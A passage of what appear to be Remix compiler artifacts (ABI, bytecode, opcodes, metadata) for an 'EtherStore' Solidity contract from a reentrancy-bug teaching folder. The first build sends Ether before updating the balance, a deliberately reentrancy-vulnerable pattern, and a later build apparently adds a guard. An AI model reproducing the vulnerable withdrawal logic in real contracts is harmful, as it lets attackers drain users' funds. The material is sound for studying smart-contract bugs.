ffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505600a165627a7a72305820074e6fe5cec4ab62e5abca789b9b486bb4738b5aaa4acc851bf93215ae6be45e0029", | |
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH2 0x6D JUMPI PUSH1 0x0 CALLDATALOAD PUSH29 0x100000000000000000000000000000000000000000000000000000000 SWAP1 DIV PUSH4 0xFFFFFFFF AND DUP1 PUSH4 0x1031EC31 EQ PUSH2 0x72 JUMPI DUP1 PUSH4 0x155DD5EE EQ PUSH2 0xC9 JUMPI DUP1 PUSH4 0x27E235E3 EQ PUSH2 0xF6 JUMPI DUP1 PUSH4 0x7DDFE78D EQ PUSH2 0x14D JUMPI DUP1 PUSH4 0xE2C41DBC EQ PUSH2 0x178 JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x7E JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0xB3 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x182 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0xD5 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0xF4 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x19A JUMP JUMPDEST STOP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x102 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x137 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x317 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x159 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x162 PUSH2 0x32F JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x180 PUSH2 0x335 JUMP JUMPDEST STOP JUMPDEST PUSH1 0x1 PUSH1 0x20 MSTORE DUP1 PUSH1 0x0 MSTORE PUSH1 0x40 PUSH1 0x0 KECCAK256 PUSH1 0x0 SWAP2 POP SWAP1 POP SLOAD DUP2 JUMP JUMPDEST DUP1 PUSH1 0x2 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 SLOAD LT ISZERO ISZERO ISZERO PUSH2 0x1E8 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x0 SLOAD DUP2 GT ISZERO ISZERO ISZERO PUSH2 0x1F9 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH3 0x93A80 PUSH1 0x1 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 SLOAD ADD TIMESTAMP LT ISZERO ISZERO ISZERO PUSH2 0x24C JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 PUSH1 0x40 MLOAD PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP8 GAS CALL SWAP3 POP POP POP ISZERO ISZERO PUSH2 0x283 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST DUP1 PUSH1 0x2 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 PUSH1 0x0 DUP3 DUP3 SLOAD SUB SWAP3 POP POP DUP2 SWAP1 SSTORE POP TIMESTAMP PUSH1 0x1 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 DUP2 SWAP1 SSTORE POP POP JUMP JUMPDEST PUSH1 0x2 PUSH1 0x20 MSTORE DUP1 PUSH1 0x0 MSTORE PUSH1 0x40 PUSH1 0x0 KECCAK256 PUSH1 0x0 SWAP2 POP SWAP1 POP SLOAD DUP2 JUMP JUMPDEST PUSH1 0x0 SLOAD DUP2 JUMP JUMPDEST CALLVALUE PUSH1 0x2 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 PUSH1 0x0 DUP3 DUP3 SLOAD ADD SWAP3 POP POP DUP2 SWAP1 SSTORE POP JUMP STOP LOG1 PUSH6 0x627A7A723058 KECCAK256 SMOD 0x4e PUSH16 0xE5CEC4AB62E5ABCA789B9B486BB4738B GAS 0xaa 0x4a 0xcc DUP6 SHL 0xf9 ORIGIN ISZERO 0xae PUSH12 0xE45E00290000000000000000 ", | |
"sourceMap": "25:740:0:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;97:51;;8:9:-1;5:2;;;30:1;27;20:12;5:2;97:51:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;299:463;;8:9:-1;5:2;;;30:1;27;20:12;5:2;299:463:0;;;;;;;;;;;;;;;;;;;;;;;;;;154:43;;8:9:-1;5:2;;;30:1;27;20:12;5:2;154:43:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;51:40;;8:9:-1;5:2;;;30:1;27;20:12;5:2;51:40:0;;;;;;;;;;;;;;;;;;;;;;;204:89;;;;;;97:51;;;;;;;;;;;;;;;;;:::o;299:463::-;396:14;372:8;:20;381:10;372:20;;;;;;;;;;;;;;;;:38;;364:47;;;;;;;;479:15;;461:14;:33;;453:42;;;;;;;;597:7;566:16;:28;583:10;566:28;;;;;;;;;;;;;;;;:38;559:3;:45;;551:54;;;;;;;;623:10;:15;;645:14;623:39;;;;;;;;;;;;;;;;;615:48;;;;;;;;697:14;673:8;:20;682:10;673:20;;;;;;;;;;;;;;;;:38;;;;;;;;;;;752:3;721:16;:28;738:10;721:28;;;;;;;;;;;;;;;:34;;;;299:463;:::o;154:43::-;;;;;;;;;;;;;;;;;:::o;51:40::-;;;;:::o;204:89::-;277:9;253:8;:20;262:10;253:20;;;;;;;;;;;;;;;;:33;;;;;;;;;;;204:89::o" | |
}, | |
"gasEstimates": { | |
"creation": { | |
"codeDepositCost": "188800", | |
"executionCost": "20238", | |
"totalCost": "209038" | |
}, | |
"external": { | |
"balances(address)": "576", | |
"depositFunds()": "20518", | |
"lastWithdrawTime(address)": "532", | |
"withdrawFunds(uint256)": "infinite", | |
"withdrawalLimit()": "460" | |
} | |
}, | |
"methodIdentifiers": { | |
"balances(address)": "27e235e3", | |
"depositFunds()": "e2c41dbc", | |
"lastWithdrawTime(address)": "1031ec31", | |
"withdrawFunds(uint256)": "155dd5ee", | |
"withdrawalLimit()": "7ddfe78d" | |
} | |
}, | |
"abi": [ | |
{ | |
"constant": true, | |
"inputs": [ | |
{ | |
"name": "", | |
"type": "address" | |
} | |
], | |
"name": "lastWithdrawTime", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"constant": false, | |
"inputs": [ | |
{ | |
"name": "_weiToWithdraw", | |
"type": "uint256" | |
} | |
], | |
"name": "withdrawFunds", | |
"outputs": [], | |
"payable": false, | |
"stateMutability": "nonpayable", | |
"type": "function" | |
}, | |
{ | |
"constant": true, | |
"inputs": [ | |
{ | |
"name": "", | |
"type": "address" | |
} | |
], | |
"name": "balances", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"constant": true, | |
"inputs": [], | |
"name": "withdrawalLimit", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"constant": false, | |
"inputs": [], | |
"name": "depositFunds", | |
"outputs": [], | |
"payable": true, | |
"stateMutability": "payable", | |
"type": "function" | |
} | |
] | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"compiler": { | |
"version": "0.4.26+commit.4563c3fc" | |
}, | |
"language": "Solidity", | |
"output": { | |
"abi": [ | |
{ | |
"constant": true, | |
"inputs": [ | |
{ | |
"name": "", | |
"type": "address" | |
} | |
], | |
"name": "lastWithdrawTime", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"constant": false, | |
"inputs": [ | |
{ | |
"name": "_weiToWithdraw", | |
"type": "uint256" | |
} | |
], | |
"name": "withdrawFunds", | |
"outputs": [], | |
"payable": false, | |
"stateMutability": "nonpayable", | |
"type": "function" | |
}, | |
{ | |
"constant": true, | |
"inputs": [ | |
{ | |
"name": "", | |
"type": "address" | |
} | |
], | |
"name": "balances", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"constant": true, | |
"inputs": [], | |
"name": "withdrawalLimit", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"constant": false, | |
"inputs": [], | |
"name": "depositFunds", | |
"outputs": [], | |
"payable": true, | |
"stateMutability": "payable", | |
"type": "function" | |
} | |
], | |
"devdoc": { | |
"methods": {} | |
}, | |
"userdoc": { | |
"methods": {} | |
} | |
}, | |
"settings": { | |
"compilationTarget": { | |
"bit-smartcontract-bug/reentrancy/EtherStore.sol": "EtherStore" | |
}, | |
"evmVersion": "byzantium", | |
"libraries": {}, | |
"optimizer": { | |
"enabled": false, | |
"runs": 200 | |
}, | |
"remappings": [] | |
}, | |
"sources": { | |
"bit-smartcontract-bug/reentrancy/EtherStore.sol": { | |
"keccak256": "0xb7f87cf33041b451ad3adca18292a695410cbcda6375797f34dc30d1a9c2323a", | |
"urls": [ | |
"bzzr://c7065c996fe4cc3ffef1380b7797b23c739a1fa17f7c4bfe024ced4af21da8b2" | |
] | |
} | |
}, | |
"version": 1 | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"deploy": { | |
"VM:-": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"main:1": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"ropsten:3": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"rinkeby:4": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"kovan:42": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"goerli:5": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"Custom": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
} | |
}, | |
"data": { | |
"bytecode": { | |
"linkReferences": {}, | |
"object": "608060405260008060006101000a81548160ff021916908315150217905550670de0b6b3a764000060015534801561003657600080fd5b5061040f806100466000396000f30060806040526004361061006d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631031ec3114610072578063155dd5ee146100c957806327e235e3146100f6578063e2c41dbc1461014d578063e49c10e814610157575b600080fd5b34801561007e57600080fd5b506100b3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610182565b6040518082815260200191505060405180910390f35b3480156100d557600080fd5b506100f46004803603810190808035906020019092919050505061019a565b005b34801561010257600080fd5b50610137600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610376565b6040518082815260200191505060405180910390f35b61015561038e565b005b34801561016357600080fd5b5061016c6103dd565b6040518082815260200191505060405180910390f35b60026020528060005260406000206000915090505481565b6000809054906101000a900460ff161515156101b557600080fd5b80600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561020357600080fd5b600154811115151561021457600080fd5b62093a80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401421015151561026757600080fd5b80600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555042600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060016000806101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610358573d6000803e3d6000fd5b5060008060006101000a81548160ff02191690831515021790555050565b60036020528060005260406000206000915090505481565b34600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550565b600154815600a165627a7a72305820ea5405b9eed5268991dfc09d26bcfa7e2e92fd6b94a85ffa55b70602bdb42acc0029", | |
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x0 DUP1 PUSH1 0x0 PUSH2 0x100 EXP DUP2 SLOAD DUP2 PUSH1 0xFF MUL NOT AND SWAP1 DUP4 ISZERO ISZERO MUL OR SWAP1 SSTORE POP PUSH8 0xDE0B6B3A7640000 PUSH1 0x1 SSTORE CALLVALUE DUP1 ISZERO PUSH2 0x36 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x40F DUP1 PUSH2 0x46 PUSH1 0x0 CODECOPY PUSH1 0x0 RETURN STOP PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH2 0x6D JUMPI PUSH1 0x0 CALLDATALOAD PUSH29 0x100000000000000000000000000000000000000000000000000000000 SWAP1 DIV PUSH4 0xFFFFFFFF AND DUP1 PUSH4 0x1031EC31 EQ PUSH2 0x72 JUMPI DUP1 PUSH4 0x155DD5EE EQ PUSH2 0xC9 JUMPI DUP1 PUSH4 0x27E235E3 EQ PUSH2 0xF6 JUMPI DUP1 PUSH4 0xE2C41DBC EQ PUSH2 0x14D JUMPI DUP1 PUSH4 0xE49C10E8 EQ PUSH2 0x157 JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x7E JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0xB3 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x182 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0xD5 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0xF4 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x19A JUMP JUMPDEST STOP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x102 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x137 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x376 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x155 PUSH2 0x38E JUMP JUMPDEST STOP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x163 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x16C PUSH2 0x3DD JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH1 0x2 PUSH1 0x20 MSTORE DUP1 PUSH1 0x0 MSTORE PUSH1 0x40 PUSH1 0x0 KECCAK256 PUSH1 0x0 SWAP2 POP SWAP1 POP SLOAD DUP2 JUMP JUMPDEST PUSH1 0x0 DUP1 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH1 0xFF AND ISZERO ISZERO ISZERO PUSH2 0x1B5 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST DUP1 PUSH1 0x3 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 SLOAD LT ISZERO ISZERO ISZERO PUSH2 0x203 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x1 SLOAD DUP2 GT ISZERO ISZERO ISZERO PUSH2 0x214 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH3 0x93A80 PUSH1 0x2 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 SLOAD ADD TIMESTAMP LT ISZERO ISZERO ISZERO PUSH2 0x267 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST DUP1 PUSH1 0x3 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 PUSH1 0x0 DUP3 DUP3 SLOAD SUB SWAP3 POP POP DUP2 SWAP1 SSTORE POP TIMESTAMP PUSH1 0x2 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 DUP2 SWAP1 SSTORE POP PUSH1 0x1 PUSH1 0x0 DUP1 PUSH2 0x100 EXP DUP2 SLOAD DUP2 PUSH1 0xFF MUL NOT AND SWAP1 DUP4 ISZERO ISZERO MUL OR SWAP1 SSTORE POP CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH2 0x8FC DUP3 SWAP1 DUP2 ISZERO MUL SWAP1 PUSH1 0x40 MLOAD PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP9 DUP9 CALL SWAP4 POP POP POP POP ISZERO DUP1 ISZERO PUSH2 0x358 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP PUSH1 0x0 DUP1 PUSH1 0x0 PUSH2 0x100 EXP DUP2 SLOAD DUP2 PUSH1 0xFF MUL NOT AND SWAP1 DUP4 ISZERO ISZERO MUL OR SWAP1 SSTORE POP POP JUMP JUMPDEST PUSH1 0x3 PUSH1 0x20 MSTORE DUP1 PUSH1 0x0 MSTORE PUSH1 0x40 PUSH1 0x0 KECCAK256 PUSH1 0x0 SWAP2 POP SWAP1 POP SLOAD DUP2 JUMP JUMPDEST CALLVALUE PUSH1 0x3 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 PUSH1 0x0 DUP3 DUP3 SLOAD ADD SWAP3 POP POP DUP2 SWAP1 SSTORE POP JUMP JUMPDEST PUSH1 0x1 SLOAD DUP2 JUMP STOP LOG1 PUSH6 0x627A7A723058 KECCAK256 0xea SLOAD SDIV 0xb9 0xee 0xd5 0x26 DUP10 SWAP2 0xdf 0xc0 SWAP14 0x26 0xbc STATICCALL PUSH31 0x2E92FD6B94A85FFA55B70602BDB42ACC002900000000000000000000000000 ", | |
"sourceMap": "26:1030:0:-;;;114:5;91:28;;;;;;;;;;;;;;;;;;;;159:7;125:41;;26:1030;8:9:-1;5:2;;;30:1;27;20:12;5:2;26:1030:0;;;;;;;" | |
}, | |
"deployedBytecode": { | |
"linkReferences": {}, | |
"object": "60806040526004361061006d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631031ec3114610072578063155dd5ee146100c957806327e235e3146100f6578063e2c41dbc1461014d578063e49c10e814610157575b600080fd5b34801561007e57600080fd5b506100b3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610182565b6040518082815260200191505060405180910390f35b3480156100d557600080fd5b506100f46004803603810190808035906020019092919050505061019a565b005b34801561010257600080fd5b50610137600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610376565b6040518082815260200191505060405180910390f35b61015561038e565b005b34801561016357600080fd5b5061016c6103dd565b6040518082815260200191505060405180910390f35b60026020528060005260406000206000915090505481565b6000809054906101000a900460ff161515156101b557600080fd5b80600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561020357600080fd5b600154811115151561021457600080fd5b62093a80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401421015151561026757600080fd5b80600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555042600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060016000806101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610358573d6000803e3d6000fd5b5060008060006101000a81548160ff02191690831515021790555050565b60036020528060005260406000206000915090505481565b34600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550565b600154815600a165627a7a72305820ea5405b9eed5268991dfc09d26bcfa7e2e92fd6b94a85ffa55b70602bdb42acc0029", | |
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH2 0x6D JUMPI PUSH1 0x0 CALLDATALOAD PUSH29 0x100000000000000000000000000000000000000000000000000000000 SWAP1 DIV PUSH4 0xFFFFFFFF AND DUP1 PUSH4 0x1031EC31 EQ PUSH2 0x72 JUMPI DUP1 PUSH4 0x155DD5EE EQ PUSH2 0xC9 JUMPI DUP1 PUSH4 0x27E235E3 EQ PUSH2 0xF6 JUMPI DUP1 PUSH4 0xE2C41DBC EQ PUSH2 0x14D JUMPI DUP1 PUSH4 0xE49C10E8 EQ PUSH2 0x157 JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x7E JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0xB3 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x182 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0xD5 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0xF4 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x19A JUMP JUMPDEST STOP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x102 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x137 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x376 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x155 PUSH2 0x38E JUMP JUMPDEST STOP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x163 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x16C PUSH2 0x3DD JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH1 0x2 PUSH1 0x20 MSTORE DUP1 PUSH1 0x0 MSTORE PUSH1 0x40 PUSH1 0x0 KECCAK256 PUSH1 0x0 SWAP2 POP SWAP1 POP SLOAD DUP2 JUMP JUMPDEST PUSH1 0x0 DUP1 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH1 0xFF AND ISZERO ISZERO ISZERO PUSH2 0x1B5 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST DUP1 PUSH1 0x3 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 